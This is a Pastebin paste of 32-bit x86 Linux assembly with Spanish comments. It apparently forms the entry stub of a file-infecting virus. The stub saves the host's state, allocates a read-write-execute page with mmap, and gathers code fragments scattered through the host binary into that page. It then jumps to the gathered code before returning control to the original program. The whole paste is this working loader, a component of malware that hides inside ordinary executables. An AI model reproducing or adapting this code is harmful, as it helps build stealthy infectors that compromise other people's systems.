daily pastebin goal
56%
SHARE
TWEET

Untitled

a guest May 20th, 2012 63 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. .section .code_bottom, "xa"
  2. .long marker
  3. .long 0
  4. .long 0
  5. .globl frag_entry, assembled_entry, base_ref
  6.  
  7. frag_entry:   /* Esta es la entrada fragmentada */
  8.   push $RETADDR
  9.   pusha
  10.   pushf
  11.   call base_ref
  12.  
  13. base_ref:
  14.   pop %ebp
  15.   sub $DESPLAZAMIENTO, %ebp /* Ajustamos el desplazamiento de la base */
  16.   jmp reassemble
  17.  
  18. assembled_entry: /* Punto de entrada del código ensamblado */
  19.   call _start  /* Llamamos a _start */
  20.  
  21. boot_normal:
  22.   popf   /* Recuperamos EFLAGS */
  23.   popa   /* Recuperamos los registros */
  24.   ret    /* Y saltamos al punto de entrada */
  25.  
  26. reassemble:  
  27.   cld
  28.  
  29.   /* Como vamos a hacer esto:
  30.      mmap (IGNORADO, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, IGNORANDO, IGNORADO)
  31.      Sólo tenemos que tocar los registros ecx, edx y esi */
  32.      
  33.   mov  $4096, %ecx /* Nuestro código cabe en una página */
  34.   mov  $0x7, %edx  /* Todos los permisos */
  35.   mov  $0x22, %esi /* Privado y anónimo */
  36.   mov  $0xc0, %eax /* SYS_mmap */
  37.   int  $0x80
  38.   test $0xfff, %eax
  39.   jnz  boot_normal    /* mmap falló, no podemos reensamblar el código */
  40.   mov  %eax, %edi     /* Ahora bien, si ahora ha funcionado... */
  41.   mov  %eax, %edx     /* Salvamos esta dirección en %edx */
  42. /*
  43.   RECIBE:
  44.   @edi: dirección obtenida por mmap
  45.   @ebp: base del código
  46.  
  47.   MODIFICA:
  48.   esi, eax, ecx
  49. */
  50.  
  51.  
  52.   mov %ebp, %esi     /* La zona continua está marcada por ebp */
  53.   mov 4(%ebp), %ecx  /* Su tamaño está 4 bytes más abajo */
  54.   mov 8(%ebp), %eax  /* Y el siguiente chunk por aquí */
  55.   rep movsb          /* Copiamos toda la zona contigua */
  56.  
  57.   /* Ahora debemos preparar el código para ensamblar */
  58.   mov %ebp, %esi     /* Metemos la base del código en esi */
  59.   sub %eax, %esi     /* Y restamos el desplazamiento hacia atrás */
  60.  
  61.   /* Listos para pasar a la rutina de reensamblado */
  62.  
  63. /*
  64.   RECIBE:
  65.   @esi: dirección del chunk a copiar
  66.   @edi: dirección de destino
  67.   @ebp: base del código
  68.  
  69.   MODIFICA:
  70.   eax, ecx, esi, edi
  71.  */
  72.   xor %ecx, %ecx
  73.  
  74. assembler:
  75.   mov 0(%esi), %eax   /* Aquí irá la información del siguiente chunk */
  76.   movb %al, %cl       /* De la cual extraemos el tamaño */
  77.   add $4, %esi        /* Omitimos la cabecera */
  78.   rep movsb           /* Copiamos hasta 255 bytes */
  79.   shr $8, %eax        /* Esto es un desplazamiento hacia atrás */
  80.   jz no_more_chunks   /* Es 0: no hay más chunks */
  81.   mov %ebp, %esi      /* Construir la dirección del siguiente chunk: base */
  82.   sub %eax, %esi      /* Menos el desplazamiento hacia atrás */
  83.   jmp assembler       /* Y a ensamblar se ha dicho */
  84.  
  85. no_more_chunks:
  86.   /* Fin, saltamos al código terminado */
  87.   mov %edx, %eax
  88.   add $ASSEMBLED_ENTRY_OFFSET, %eax /* Punto de entrada del código ensamblado */
  89.   jmp *%eax
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top